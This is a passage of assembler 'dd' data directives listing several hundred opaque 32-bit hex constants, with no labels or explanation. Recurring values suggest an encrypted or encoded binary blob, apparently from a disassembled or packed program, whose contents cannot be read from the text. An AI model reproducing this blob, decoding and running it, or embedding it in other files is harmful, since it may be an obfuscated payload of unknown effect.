1A606F1Fh, 156628BEh, 95697132h, 15668832h dd 9C07BFB9h, 3E6133B7h, 156CF834h, 180F8832h, 38963864h dd 250D7D71h, 15661EDBh, 9AEF1032h, 0E6F61CFEh, 38A4E4A6h dd 49A87A7Fh, 12AB0DBBh, 93694219h, 1566223Ah, 15649B3Dh dd 74068832h, 4C4270CDh, 1562E6B3h, 73061132h, 752F088Ch dd 358EC554h, 7407428Bh, 0D8D3EE53h, 7560A335h, 3F4B2B3h dd 749E3966h, 1BDBA4CDh, 98698E19h, 1566442Bh, 1568CA52h dd 9AE41132h, 59A557Dh, 7715A876h, 0DE3C78Fh, 0D7ED7768h dd 9C357453h, 11A5C5D1h, 94662232h, 156615D9h, 317A0F32h dd 315ACD6Eh, 0A099DACEh, 134D0417h, 156682DBh, 0DA6E5C32h dd 4909CFD8h, 98026976h, 24B5D1B7h, 1A8F2434h, 53662232h dd 0F59D1CBh, 128C013Fh, 0F159CEB8h, 73067841h, 0FC3AD68Ah dd 1566883Ch, 5EAA34E5h, 79514561h, 65F109F8h, 74071E3Eh dd 1D8F94CDh, 5D662232h, 28D9AA59h, 0EDCD3A9Ch, 3867C933h dd 9E9E2419h, 3E61DC8Fh, 9400E834h, 7578E5F8h, 0E5E74352h dd 49F3456Fh, 9E69E953h, 1566443Ah, 81A9A352h, 742211C2h dd 1BDB3DB9h, 1C8F4219h, 17662232h, 19663BCCh, 0BEB4EAB4h dd 0EDC2B7CEh, 1575A73Dh, 1B8F1132h, 0BA668832h, 0AD2A85D2h dd 18B42685h, 0DB180D63h, 0C0D3030Bh, 0ED606F1Eh, 156BA73Dh dd 1D8F1132h, 18668832h, 675C521Ah, 0B8AC990Ah, 15661ADBh dd 8FCE4732h, 1311468Dh, 0ED646417h, 1566A863h, 9C368832h dd 0E920CDFAh, 128F7B6Ah, 6E661132h, 0D02C817Dh, 0D5A75322h dd 14EA2D37h, 0EC661132h, 1EAC3260h, 0F7A772BDh, 168CE335h dd 9467D3B1h, 0DF1D32F0h, 0A18CC50Dh, 1469340Dh, 73064BE2h dd 0D5D346B3h, 1564C23Dh, 99D42232h, 1CE31253h, 0FC60A33Ah dd 15664420h, 3A60B34Eh, 8044D154h, 9C702107h, 60A6CB7Fh dd 188F59EDh, 2D661132h, 59241D43h, 663354C1h, 0F496A247h dd 12AB9CB9h, 9E068E19h, 2FBEC4E4h, 118AA153h, 9A421DBBh dd 1A93E832h, 156642BDh, 0FC85A332h, 7449B0A4h, 9400E89Fh dd 0FCDFD5FCh, 15662226h, 2FAA8050h, 0AB047292h, 26BD3721h dd 833DF578h, 0F700E09Bh, 83DDDB53h, 9435601Dh, 573FDED9h dd 94BDE61Ah, 0AC4543C1h, 0B8DE1436h, 3CB7853Bh, 4BEF49F1h dd 1B8FD3CEh, 9B664432h, 62681808h, 0B458D090h, 752CEABCh dd 0C0D3CD31h, 0ED60091Eh, 1A99E9B1h, 1566E4B7h, 48F2432h dd 22662232h, 1F213A89h, 4301F489h, 4F3115C4h, 373C17FEh dd 74979A54h, 0C8BBB6B3h, 906999EFh, 15662277h, 0FBE77752h dd 45077D7Eh, 1566F967h, 0FDEF2232h, 4D60986Fh, 11DDDBCAh dd 14664432h, 317AA9ECh, 0E962D5B1h, 0C0D301CAh, 75606F1Eh dd 1AA0A954h, 156612B3h, 0C4EDEE32h, 0C156AD53h, 0AC06DDCDh dd 9C04D79h, 16A64953h, 1577C43Dh, 198F2232h, 0A2661132h dd 0D11A222Fh, 81A9F678h, 16F041F0h, 3E6E18B7h, 0E18734h dd 1A664432h, 15662DB1h, 156CF832h, 0E95B8832h, 16D3E9C2h dd 0C6FEEBCh, 156E943Dh, 90698832h, 15664430h, 0A8E54352h dd 134D356Fh, 8EE28733h, 1A664431h, 156631B5h, 18E21E32h dd 0FC668832h, 1566443Ah, 0F122EAEFh, 17A47CD4h, 0BF5809CBh dd 1ACCEE98h, 1566ACB7h, 1574F832h, 0FB908832h, 0CAEE9B7Eh dd 7F0B0A6h, 23B90B93h, 39C36A50h, 1562FD63h, 0DB672232h dd 96421DB9h, 0A2068CF6h, 0C8BFC51Ah, 7415C38Ch, 9C62FDB1h dd 15DEAC36h, 9C664432h, 0E93EDE74h, 11ED4662h, 11A20916h dd 4A664432h, 156AA03Dh, 98691132h, 15668834h, 1566C93Dh dd 0A2352232h, 0E8899101h, 0D5C567B2h, 0DA9846DDh, 9564C5F2h dd 0EDEE4CF5h, 5B8F7169h, 0ED664432h, 15662CDBh, 153ECD32h dd 27CF0158h, 0D98CE80Ch, 24A88617h, 24A120CAh, 156161CAh dd 6BCA4432h, 0A708A0ECh, 12E51E59h, 1A668832h, 156645BFh dd 0BE0ED732h, 9C66115Ah, 0FDD1AC2Eh, 1A3DBCBAh, 15662AB5h dd 17EA1E32h, 75668832h, 0F0EF1153h, 1562E7B3h, 0F8E51132h dd 314A0F36h, 3162CD6Eh, 156624DBh, 0EAD78A32h, 962CC4B9h dd 3E6C698Fh, 91692334h, 15661058h, 1A9AE852h, 156644B7h dd 43074332h, 0FF5B758Ch, 94885969h, 0B728C7FCh, 1788A306h dd 942EF447h, 0B2D196C4h, 0B737FCAAh, 0E567B07Bh, 0E006716Ch dd 156685DBh, 4CA6C732h, 279E1246h, 0A5D49465h, 0E907538Ah dd 0A8E5BD53h, 1354BA07h, 27E21E32h, 75668832h, 738987B2h dd 8B31C4B3h, 0CFB9C53h, 7560B9DAh, 156648DBh, 1F46EE32h dd 0C17A963Ch, 0CABB9002h, 13EB4B21h, 1A662232h, 156611B3h dd 0C699E932h, 8559C4CAh, 154AA63Dh, 75061132h, 165B62B3h dd 74072FE8h, 15639F67h, 0D2E71132h, 543DAE33h, 0FAE7AB33h dd 543D0433h, 739E716Fh, 74CA9F8Ch, 15678DDBh, 0EDE5DA32h dd 0B2E41E62h, 1A668832h, 15664ABBh, 156FCB32h, 0AC4A1132h dd 0BD9D8717h, 44933104h, 0D098CD87h, 0D578E4B2h, 0D0E68FDFh dd 9393C4B6h, 9DFDD7B2h, 0CD9048DAh, 84AE606h, 8E625806h dd 9A69D752h, 15661137h, 0F8E488Dh, 0E9CC251Dh, 15662FDBh dd 34D50332h, 283C16ADh, 5D57C9A9h, 11ED80CBh, 0F4EF4016h dd 156249B3h, 0D4E54432h, 316AA536h, 14EE1E6Eh, 0E9668832h dd 156FAD98h, 4B262232h, 0E482242Ch, 758CB069h, 0F7B7C554h dd 0FC07DBEFh, 156611E3h, 0FEE7EE52h, 1B8F7803h, 1C662232h dd 0CF6CF6Eh, 0D7D2E371h, 0F798CE71h, 219943DBh, 0D1E54916h dd 9A69E836h, 15664434h dd 1566AE3Dh, 0BF071132h, 1567063Dh, 959E4432h, 1A8FDD4Dh dd 156681B7h, 156B6132h, 40E94432h, 0F4176EFAh, 6FE85812h dd 96FD7CA3h, 27FE718Fh, 91692234h, 15661172h, 7A940952h dd 0FC253BFFh, 1566223Ah, 0FCD1BE5h, 70749A93h, 17FBC953h dd 1A6013D5h, 156607B0h, 5EA8732h, 0FC664432h, 15662239h dd 889A8995h, 0CEDB1810h, 0EAB52727h, 0AF0042E1h, 749F9A53h dd 15623163h, 0EC674432h, 15669860h, 0DF671132h, 4C3C8ABAh dd 18FBD52h, 93662232h, 76698C11h, 0AA3AB03Fh, 40C051E6h dd 0CC47871Bh, 740812E7h, 0D8E303CAh, 0E0606F35h, 0BB43D51Fh dd 5C5A147Ch, 0ED4FD232h, 152F781Fh, 30912768h, 0AA065F9Ch dd 32622A4Ch, 156FAD53h, 3E972232h, 0A5EDE227h, 7DB323C9h dd 1566623Fh, 0A8420EBBh, 15661136h, 0FC3B601Bh, 1566443Fh dd 0DC776948h, 608346Ch, 0E1A1EFD1h, 128FEF93h, 0B3662232h dd 2A00F5F6h, 1ACB4F12h, 156653B4h, 4E02D32h, 0FC661132h dd 1566883Eh, 0E0E3844Dh, 1DF49CE1h, 7A573B5Bh, 1566E067h dd 9C3B4432h, 1A3BDE5Ch, 156608BEh, 6EF8732h, 0FC664432h dd 1566223Ch, 6521D04Fh, 6994A9EEh, 0A62B217Eh, 538F7578h dd 1A99EEC9h, 156689BFh, 9369BC32h, 15662239h, 156617DBh dd 0D115C32h, 9C359688h, 3E4AF787h, 1EE61E34h, 0FC668832h dd 15664434h, 723AE252h, 0FF0E7344h, 9C668820h, 9A696026h dd 1566222Ch, 7E71AE52h, 78FA280h, 3C664432h, 280A42FFh dd 0CD05BDFFh, 0FDE5D8D2h, 92C7EDD4h, 150E43CBh, 0EC6611B2h dd 0FC068858h, 15664435h, 0E3D06822h, 1A0DC4C3h, 15668ABFh dd 74381332h, 3A0B97CDh, 0EA9E1719h, 3E52B1A7h, 2199B834h dd 0D1E77816h, 15661136h, 1568063Dh, 1C8F4432h, 2C662232h dd 4EE5E0AEh, 18C856C0h, 473C9B9h, 0D29F2419h, 5E02DD33h dd 0E27F7F03h, 4CDB1123h, 3C245479h, 1CE74C1Bh, 4116EC8Dh dd 22336DB3h, 3CE77FCAh, 0B59B5798h, 156681DBh, 0E2C5B32h dd 8FD1BCC0h, 443349F6h, 2C6EC25Ah, 0E4E71D56h, 715F2A7Ch dd 143FDCBBh, 9C9AD5DBh, 3E7751BFh, 0F9EC4234h, 0C48BC689h dd 1A8FE929h, 0FC99BBFAh, 15662220h, 277490B4h, 2C6ECA0Bh dd 88D58AAAh, 0DFF276Dh, 378F0CCEh, 0E066881Bh, 156641DBh dd 77428032h, 0EC066C8Ah, 47305B9h, 9B694219h, 1566223Dh dd 15661BDBh, 0E3C24532h, 0D7519F5h, 0EACF4954h, 316A9A03h dd 0E9624CB1h, 8D57C9BBh, 97692400h, 1566112Bh, 15669CDBh dd 4284D032h, 8B900FC7h, 968670A1h, 97F287CAh, 240BEBCEh dd 5B5EA39Ah, 1A2A5566h, 156605B7h, 9400B832h, 3B2A264Ah dd 15E6943Dh, 75068832h, 15664CDAh, 47F80532h, 68D62C73h dd 9B69D130h, 15664432h, 42364353h, 0C8430B8Dh, 311A892Dh dd 94381B36h, 0C84338DCh, 220EE42Dh, 9C66881Ch, 13DB601Eh dd 14662232h, 73064CDCh, 0FC81C88Bh, 1566443Fh, 42D81C06h dd 0AC050A13h, 1C29F350h, 94692578h, 1566223Bh, 0AB077152h dd 241A5F26h, 64E3CF53h, 0FC60093Fh, 1566113Eh, 0B968A992h dd 0E961B828h, 0EABD4DD0h, 156334DBh, 94367D32h, 426036h dd 21ED7846h, 11A29216h, 4266B3h, 1F8F1E46h, 91662232h dd 0DE242A8h, 8D15EA33h, 2D8D2CCAh, 11EF2232h, 95694B16h dd 15668833h, 0FCAF75C7h, 1566223Ah, 7EE3E710h, 94F127F4h dd 12E64B9Eh, 1A662232h, 156610B4h, 73067432h, 6195ADB3h dd 0D1FDE1B3h, 29073775h, 79E28732h, 1A664433h, 156637B2h dd 1576F832h, 883F8832h, 0D097C28Fh, 4E0F0987h, 302F6802h dd 385A156Dh, 0EADCC03Dh, 299EDDCDh, 0AEE21E1Ch, 75668832h dd 15664FDBh, 936D8A32h, 49AC0995h, 1DF85563h, 494C554h dd 255A43F0h, 103E933Dh, 299F8832h, 9CE04B0Bh, 1A99DDCDh dd 156610BDh, 545A7032h, 1026C63Dh, 99692232h, 15661133h dd 1A3CB4CEh, 0EA992FB4h, 0BEB2DCDh, 1A661132h, 156690BAh dd 1575AD32h, 67632232h, 0F018649Bh, 0D2FEF02Ah, 0EAB5A0ADh dd 9531254Fh, 1A392D30h, 0EA99B7B6h, 0E5E724CDh, 36628E5h dd 74A99A54h, 9769E90Eh, 156640C0h, 1A1C1EC7h, 0EA9932B4h dd 48F70CDh, 93664432h, 0FE8482A0h, 106D6C29h, 0B6889FCFh dd 0CEA498C9h, 1562EFDBh, 156AF832h, 0EE828832h, 46D21E5Dh dd 3171E10Ch, 433411B3h, 9220D668h, 5E04BC0h, 1A662232h dd 15661BBFh, 15636132h, 84AE4432h, 0FC8757E8h, 1566113Eh dd 0C7AE83E8h, 3C76933Bh, 0BCD24A58h, 9169E30Bh, 15668CB4h dd 0EAD913C7h, 1499DDCDh, 90694EC8h, 1566883Eh, 0CBD82252h dd 15E22DEFh, 74661132h, 0EA993765h, 0EC4FBBCDh, 808FDE6Dh dd 0FC99EECCh, 15668823h, 79FD1230h, 8D45319Ch, 73D90FBAh dd 1E8B8622h, 156FAD27h, 41252232h, 6D9F5F0Dh, 9065E1F1h dd 3AE24BFBh, 0FC662236h, 1566113Ch, 3DD9484Bh, 0E9E6BEAh dd 9FB1917Ah, 0A0EB15C8h, 134D81DFh, 1577C73Dh, 198F2232h dd 0FC661132h, 0E57C308Bh, 611F6149h, 47AB4E22h, 659EA863h dd 594FD79Ch, 4C3F4016h, 659EE3B3h, 73064E9Ch, 750BD188h dd 1C8FB3B9h, 8B662232h, 6DEAB933h, 0E22A8EAEh, 47932553h dd 96421EB9h, 1C8F15F6h, 0E7668832h, 0A31BF8A3h, 0AABA6435h dd 460EA760h, 50D68981h, 253D9C32h, 0FC0678C2h, 1566113Dh dd 0FF683F10h, 0FC75B894h, 0E55A4D7Fh, 73244D5Fh, 0BCBC4EB3h dd 0E813EA53h, 0EBD12D52h, 156619DBh, 8B280232h, 0C8E53709h dd 108F43BAh, 43661132h, 2D4105BBh, 7C45FE60h, 0C7911525h dd 499BE3B3h, 9424FDFBh, 9D87CFC0h, 4FB7239Eh, 0FCE7E81Bh dd 4CFA39Bh, 1567C93Dh, 7D9F2232h, 15667E48h, 0E24284BBh dd 0FC3F602Eh, 15662223h, 0EC51FBEBh, 6D8FEC15h, 44BB2661h dd 7F3071BEh, 33DD423Dh, 14594848h, 0DA4F1FEDh, 6F40CDB3h dd 9E692EF2h, 1566883Fh, 1560AD52h, 0CEE52232h, 0C4B50791h dd 2491B953h, 1A9175CCh, 156625B6h, 0AD007132h, 7493087Dh dd 739FE0C1h, 46669262h, 0EA99EE89h, 9D9D89CDh, 4D001F31h dd 157FA43Dh, 18F1132h, 0FB668832h, 830343D9h, 0DD344DF1h dd 3A23C421h, 0FB1F77DDh, 98131BFFh, 3E6FCFA7h, 1FE41E34h dd 75668832h, 1566C93Dh, 74062232h, 7CE39A53h, 0FC60A32Bh dd 15664438h, 0AF8E8F0h, 9F271816h, 0D5E30D96h, 15E2C13Dh dd 188F2232h, 0DF661132h, 3C15412Eh, 0D372D189h, 8E88FD70h dd 264B94F4h, 0E9218E19h, 8FC1965Ah, 2E32DE6h, 1A661132h dd 156699B3h, 156AAD32h, 0F62C2232h, 82335DFEh, 0F71E6A15h dd 0A099B9E1h, 134D39EFh, 0FEE39CC7h, 1A60A6B1h, 156658B0h dd 0EBD84232h, 0FD192CDFh, 1566883Dh, 1F287A76h, 40D667FEh dd 57A9C121h, 4E0CAE7Ch, 75B6BB53h, 0FCA8A954h, 1566113Fh dd 1AFF9A4Ch, 5D0C4D1Dh, 6D82947Ah, 0CC0E70B6h, 9C668803h dd 0EA9E6026h, 156BCBE2h, 41041132h, 0BF8336Eh, 3BE45AC7h dd 751867A8h, 1561F960h, 3E218832h, 8D9F6A21h, 743C7DBCh dd 9069D1B7h, 156688C0h, 156AC43Dh, 96692232h, 15661134h dd 1566063Dh, 1C8F4432h, 78662232h, 963CAD0Ah, 4B8E8388h dd 0BEBC1B9h, 18F2419h, 43661132h, 499AC1BCh, 3E51F871h dd 5CB39DD1h, 1E61B01Bh, 90C77755h, 48E34BF2h, 75662232h dd 0E7ED8381h, 38E34E53h, 59606F01h, 15662DDBh, 124C3E32h dd 0D80B1B78h, 0A90EE66Eh dd 85B1ED8h, 0CF7AF85Ah, 0A09974EBh, 134D5FEFh, 1563CB52h dd 97581132h, 461D073Ch, 0A8A4FC54h, 90EB436Dh, 134892D9h dd 0FCB677CEh, 15664422h, 9C71EFCh, 0D2E38BDCh, 9FB0EA10h dd 1FE8DD81h, 1547CA5Ah, 31729832h, 458D0952h, 736648ACh dd 0F7BCD5B3h, 0C599E953h, 1AA60DCEh, 156669B7h, 156DCB32h dd 0FE941132h, 0A6DCD339h, 1FC56B7Bh, 159ACB3Dh, 94691132h dd 15668820h, 156AC53Dh, 128F2232h, 6C661132h, 57881C09h dd 90EF8245h, 1354BA03h, 15789A3Dh, 9F698832h, 1566442Ah dd 156631DBh, 0A672A132h, 0D1C51951h, 0B48F4B31h, 8F9F3275h dd 0E4CDE604h, 94800164h, 156640F4h, 1188A132h, 494225B5h dd 75428CBBh, 15664FDBh, 5AA1EA32h, 6C47D417h, 820D9C9Ah dd 74ACF33Dh, 156631DBh, 208B032h, 451C9F1Bh, 2AC3C3EFh dd 570AAD1Bh, 0D9A32FCFh, 94870163h, 156640F3h, 118FA332h dd 92661132h, 9C3AAC3Eh, 98936006h, 3B1856B7h, 1568F834h dd 0DD0C8832h, 0F566EAA9h, 7DA0285Ah, 79CB6052h, 75B677CEh dd 1567CA3Dh, 949E2232h, 6ADF45D1h, 0D56DE95Ah, 1574C13Dh dd 0FC9E2232h, 15661118h, 1563033Dh, 75064432h, 0E007DB53h dd 94255BBh, 156F003Dh, 0E0064432h, 1566A13Dh, 75071132h dd 7338DE52h, 9E07BFB9h, 0FC0743C1h, 15661138h, 0B482AD3Eh dd 5FC2E506h, 0FCA51EA0h, 1566113Ch, 0D4F982A1h, 16F155A3h dd 36BD2182h, 0FC067352h, 15668835h, 0D7DFC79Dh, 0E0CE08E4h dd 8D579CB9h, 90698E00h, 15664433h, 0F7EF70CBh, 1562D3B3h dd 0FFE78832h, 15664436h, 494236B5h, 0E94215BBh, 154F325Ah dd 316ACD32h, 58FDB6Ah, 8661132h, 0F9DC4274h, 0F6180FBBh dd 0CEA6D7D2h, 4738173Ch, 1566B488h, 16A44532h, 3172A930h dd 1562D5B3h, 9E698832h, 15664433h, 940042CBh, 9EA6C7DAh dd 0AE35E9F3h, 156644BAh, 6EDE133h, 96420DB9h, 9D698CF6h dd 1566443Ah, 1564AB3Dh, 74061132h, 17631DBBh, 48F4219h dd 66662232h, 0CEE6D7C0h, 56AF44FCh, 0CA50F669h, 31606600h dd 151E845Ah, 314A0132h, 1566BC8Fh, 488E2332h, 0AA697152h dd 156E61C5h, 0D6C34432h, 536F81F6h, 0FC07A14Ch, 15668820h dd 0E94C269Ch, 7F9E9A85h, 6DD095A3h, 10C28224h, 0EA07D182h dd 11E72E42h, 227F4716h, 31720336h, 156280B3h, 0FFE72232h dd 11510864h, 9EE43F52h, 80EF25F8h, 134D278Fh, 156602DBh dd 9DFC7B32h, 0D9FA9A82h, 0F9095FE5h, 68F1EADEh, 0F7394C9Dh dd 4D4270CDh, 7562E6B1h, 4C9E9B63h, 31127753h, 3162CF16h dd 0FC62E6B1h, 1566113Ah, 8524797Fh, 78FAAAFh, 7541E237h dd 4DD73C60h, 0DD4FC633h, 143EF537h, 32A60F7Ch, 1D8F4352h dd 89668832h, 0F8C93871h, 2E3894D0h, 3E63ACB7h, 30E48734h dd 1A664432h, 156623BAh, 905DE832h, 134D8A37h, 1574C73Dh dd 749A2232h, 1562D3CEh, 1AA40352h, 156646B8h, 74074232h dd 1568F853h, 3EB88832h, 37599CEAh, 0F9193158h, 51655A2Eh dd 75428CF5h, 0D4791F1Fh, 0EA6E061Eh, 39A7353Eh, 0AD368F16h dd 0EA998578h, 11426633h, 51A1E46Ah, 106C8C16h, 61E7068Fh dd 46EA2616h, 59E77361h, 53AF8C16h, 71A7628Bh, 94642616h dd 9A62355Eh, 0D41F3D73h, 1D62605Eh, 114256B3h, 1544592Bh dd 0AD36DFCBh, 6DB27D99h, 0F1270737h, 64503431h, 0FDA7A1E9h dd 324D7134h, 0D2EF1E36h, 0AC7CA96Ah, 0ED674B6Bh, 0FC30246Dh dd 15662235h, 75F11982h, 4AB898A4h, 9807B7B9h, 3E2883BFh dd 19E61E34h, 75668832h, 1566C73Dh, 0AF002232h, 0EA07E84Dh dd 14EE87D3h, 0E0664432h, 1DE42D52h, 1A661132h, 15668ABDh dd 44072432h, 32BB9D65h, 0CA9143C7h, 66D06FB3h, 0E2E766FEh dd 356E7210h, 1439E8BBh, 4C6702C3h, 1561C43Dh, 0ED062232h dd 3437AE54h, 0FC5A7053h, 1431C03Dh, 48F2232h, 7A661132h dd 0C56FBDC7h, 990B6417h, 486F5A3Dh, 92A38AC7h, 9169600Eh dd 15664562h, 1568AA3Dh, 1C8F1132h, 0A4668832h, 5038AD30h dd 0E87377C8h, 91691E0Eh, 1566880Bh, 156654DBh, 97C6E32h dd 6D355FCBh, 363128BFh, 0A57FCB4Eh, 1AAB1EEBh, 1567D2B6h dd 0DDD6E832h, 2907B5B9h, 0C8E22DD9h, 0EC661133h, 0FCA57053h dd 15664437h, 6D779AE4h, 14DE4119h, 14668832h, 15DF15C2h dd 14662232h, 4C7F9BF3h, 1EEC876Ah, 75664432h, 94BFA954h dd 0F51EB8E2h, 4406E963h, 4BB7FB3Dh, 1562AD3Dh, 0AD001132h dd 73072E89h, 3596F062h, 11ED44D1h, 17A29016h, 75668832h dd 0C28B8BB3h, 0E2E667C7h, 0EEE670FEh, 8CE387B2h, 0FC99BBCDh dd 15662222h, 0F77C034Bh, 0D5F3D79Fh, 10C8909h, 4685FD1Fh dd 9C979863h, 316A03F9h, 756280B1h, 0B5B8C8B3h, 44075956h dd 15668E8Bh, 8DC532h, 1447714Bh, 0A590F9h, 4C47DB4Bh dd 47912CCEh, 19EF2232h, 1564A816h, 0E4678832h, 1A3F5D31h dd 15663BBEh, 6E41E32h, 0FC668832h, 1566443Ch, 0E1257615h dd 0DC59140Fh, 0B840A3BEh, 0B98FAB29h, 75662232h, 156618DAh dd 30A65732h, 0AE7522A2h, 4E35EAF5h, 0FFBF916Ah, 14107753h dd 944258B9h, 156626F6h, 0EEE5E932h, 0F8E287C9h, 0ED664432h dd 1562CEB3h, 21EF1132h, 31620916h, 7D2F1AB9h, 9E8DA369h dd 0FC0E586Ch, 15668820h, 7BBF7CB2h, 8237948Dh, 0B6401871h dd 1E81C881h, 280E77B5h, 9C66221Dh, 14DC3526h, 14668832h dd 4F7C47C0h, 15662BDBh, 0FBA0E932h, 0CF7A052Eh, 0AC37E8A0h dd 15662237h, 307CD2B3h, 0DE67A9B8h, 307CAFB3h, 1A3F03B8h dd 156607B8h, 15776132h, 3F534432h, 0D935A0C7h, 5EF06CEEh dd 0CAE4417Fh, 0FC88091Ch, 0EA99DC46h, 1577F952h, 65A78832h dd 8BAA7144h, 0CAED325Bh, 3E9CEA83h, 0FC5D17D6h, 15664438h dd 126B2203h, 70318315h, 743D3F14h, 1438F23Dh, 1567A23Dh dd 969E1132h, 9169A6D9h, 0EA99BA0Ah, 156EAD3Dh, 90691132h dd 15668830h, 0C8F2552h, 0E9662232h, 0EB676FB2h, 0EB7C0D3Dh dd 9406BBCDh, 500F76F8h, 4909036h, 74022B4Ah, 0EA9AE7DBh dd 0A26942CDh, 9AB791CAh, 1B30E053h, 21EF4432h, 9C31DE16h dd 11A190D5h, 96668832h, 29E140DDh, 19EF7E16h, 9C33ED16h dd 11A309D7h, 94664432h, 156626DFh, 314A9632h, 317A016Eh dd 156649DBh, 0ED39B832h, 4BBDA199h, 19E1F635h, 0E50EC62Dh dd 9C662209h, 1A9E350Eh, 156684BAh, 13EA4B32h, 1A662232h dd 156611B4h, 0E0A6B932h, 9069249Eh, 1566223Ch, 156618DBh dd 0FA3F9532h, 7FE6EBCBh, 1F8F7D3Bh, 0CA661132h, 0EE8E9669h dd 9FD03291h, 0FF0E43A1h, 9C66110Fh, 0D3EEAC26h, 753CB7BAh dd 95B4953Dh, 4507D7C6h, 0F6467886h, 944240B9h, 156626F6h dd 14E31E32h, 0ED668832h, 1A16BFB2h, 15639EB6h, 3BDC7132h dd 1A14BA4Ch, 29079385h, 0D3E22D3Dh, 0FC661132h, 15668837h dd 3BC66A7Ah, 1A8F1EBAh, 156CD6B6h, 2DD3E832h, 1A8D7853h dd 156877B6h, 5EE1E32h, 0FC668832h, 15664439h, 4EACDD4h dd 0BEAF1536h, 294E2621h, 86E24BD1h, 1A662231h, 156616B9h dd 14E48732h, 0E9664432h, 1A841EC7h, 15698DB6h, 156A6132h dd 0A5654432h, 7545F931h, 70870D50h, 219963F2h, 0D1E71B16h dd 15662236h, 0FEE77752h, 0EA076DA7h, 963D6006h, 9E9A26F6h dd 9C30353Eh, 11A009D4h, 96664432h, 21E126F4h, 75064D16h dd 43AF373Dh, 9E07256Ah dd 9C350606h, 11A590D1h, 96668832h, 9E140F1h, 9B697E16h dd 15661133h, 1A064BCEh, 0FED58B85h, 0EEDE4253h, 45045890h dd 4DB53F3Dh, 14E38353h, 136010ABh, 1A661132h, 156684B2h dd 1561AD32h, 0E0CF2232h, 965F27Dh, 0AD367042h, 15664432h dd 0AF34D233h, 15661132h, 0FEC4A33h, 0FD061C68h, 15662226h dd 5A166159h, 0D0296F06h, 567AE0F1h, 847FBCCEh, 96AF1DABh dd 1566023Dh, 0FC3E4432h, 15662223h, 2BEBC70Dh, 0A2773967h dd 234DF805h, 60B27DD4h, 94067089h, 0DCC99CC4h, 55DF2266h dd 0F9E543EFh, 11EF7730h, 35963816h, 1A3E22F1h, 156623B3h dd 0EEE6E432h, 1EE387B2h, 1A99BBCDh, 156623BDh, 0A833E832h dd 0EA9977CDh, 753BAA33h, 852FEDB3h, 48F0826h, 1C668832h dd 5F53F83Bh, 0B22FB98Bh, 8E56FC17h, 0E1EEB644h, 30E3CF53h dd 0FC600902h, 15661139h, 0DC373833h, 31F198ACh, 9EBCD433h dd 3E48F4A7h, 0D4E7E834h, 6739219Bh, 31C4C9B3h, 96074E01h dd 21EF8CDEh, 94061F16h, 0D79548D0h, 73067001h, 73E4678Ch dd 42078AB9h, 1566248Dh, 798D9032h, 144A8D16h, 79A5C5C9h dd 4A4A2716h, 4037EDC7h, 15668A8Fh, 488FCD32h, 0C65D333h dd 19E41E6Bh, 1A668832h, 156642BCh, 15E02D32h, 2E661132h dd 31E487EAh, 75664432h, 4403C4B3h, 2E073FC6h, 5EE087E8h dd 0FC99BBCCh, 1566223Dh, 18AE0D89h, 9F19890Dh, 6E774920h dd 94669566h, 713B0DF1h, 25A50951h, 3C46B512h, 258DA3C9h dd 9446E012h, 713B94D9h, 14EC4B51h, 0ED662232h, 9C62FDB1h dd 13DEAC36h, 3C664432h, 1E8F7AF1h, 81661132h, 19F1DC29h dd 37196DBDh, 0B8001E18h, 156619DBh, 0AD1C2732h, 4D46CE97h dd 156FCBB6h, 6BB1132h, 468110AAh, 73BC2171h, 14E82D99h dd 0ED661132h, 15462C5Ah, 3162CD32h, 0FC3D7A61h, 15661123h dd 6D128980h, 0F03BFD86h, 0CFFA6E57h, 3CDA6C20h, 68F23ACh dd 18664432h, 7F7392B7h, 7EB0B4FEh, 315D610Bh, 8F534817h dd 0AE357E88h, 15661136h, 9ED5633h, 11A2C516h, 0FC662232h dd 1566113Fh, 0CA03FE12h, 0CD5B1D99h, 7C24B98h, 315A9865h dd 1567053Dh, 9C9A4432h, 756A0646h, 1569F8CEh, 1328832h dd 3EE97A55h, 6709C1A9h, 0ABFA81E9h, 0A0EFE997h, 134D742Bh dd 1568CB52h, 0A081132h, 71E3F1C6h, 0EEA33365h, 7BFA029Ch dd 3152EE53h, 11A2096Dh, 0ED664432h, 40423EB9h, 0D0E7F4BBh dd 15668836h, 156281B3h, 39E12232h, 138F4D16h, 0E7668832h dd 0B55EC5DEh, 0E3DE427Ah, 7548BA31h, 1C8F7BB9h, 14664432h dd 1BDD4E04h, 7F1BB14h, 2199E953h, 0D1E51D16h, 1AEF2D36h dd 0FC661132h, 15668838h, 1BE03403h, 0A3AD08F9h, 21EDC127h dd 0F3EFDE16h, 156282B3h, 0D3E72232h, 15661136h, 4942BCB5h dd 0F4EF15CBh, 1562E3B3h, 0D4E51132h, 316ABB36h, 26424803h dd 1A3A063Eh, 156616B3h, 14E68732h, 0ED664432h, 0EAB908DBh dd 90A1EDCDh, 13541133h, 15664430h, 1561A53Dh, 9F691132h dd 15668833h, 0E7EF16C7h, 3152A360h, 28CC14ADh, 8A950969h dd 4F5BEE37h, 1BD02DCBh, 959F91CAh, 15E80B3Dh, 1F8F4432h dd 51662232h, 0EBDECC01h, 0E22D1832h, 288DC594h, 14375F01h dd 8ADF40F9h, 0E22C3172h, 9DA7C5E3h, 0E229086Ah, 0CF8F90E3h dd 14CC9986h, 0FC061DF9h, 15662238h, 9BA1C0D6h, 87B4DB9Ah dd 42071126h, 1566238Dh, 4A9D1032h, 15636152h, 0D9D14432h dd 735A66D2h, 74778B8Ah, 15668EDBh, 26960632h, 0FCD55AFBh dd 15661191h, 156684DBh, 49447532h, 399CC07Bh, 0C1ED7625h dd 18E887E3h, 0FC664432h, 1566223Ah, 0CAAE9F15h, 0A2EA7DE6h dd 156CEA5Ah, 317AAB32h, 0EC4EEE85h, 14E58769h, 0ED664432h dd 0AB3071CEh, 47BB5FDDh, 94616EF3h, 0B211C4DCh, 4B95AB5Ch dd 0CCEFDA1Bh, 156E6169h, 61DE4432h, 2560BAF3h, 423683C8h dd 1901E08Dh, 4B89C54Ah, 9C057E7Ah, 0F5A74ECAh, 0FE43C034h dd 0D4190317h, 0F64326DAh, 202F5D45h, 1526F8CFh, 0ED3E8513h dd 47FCE1B3h, 0D6E77318h, 1DFEF889h, 0FEE78F1Bh, 1DFE5289h dd 47FCFAB3h, 9E93EA18h, 3E5661B7h, 18EB2D34h, 75661132h dd 1566073Dh, 92D84432h, 7456C286h, 3B8384B9h, 1B8F8E19h dd 81664432h, 270DD3A6h, 1B1B15CAh, 9340FA02h, 0F0DBC766h dd 14600939h, 112B953Dh, 96698832h, 15664425h, 1576CB52h dd 447C1132h, 9B8D0FC1h, 0C332C8F6h, 0D9F3E136h, 2C07EF4Ch dd 3DE487F1h, 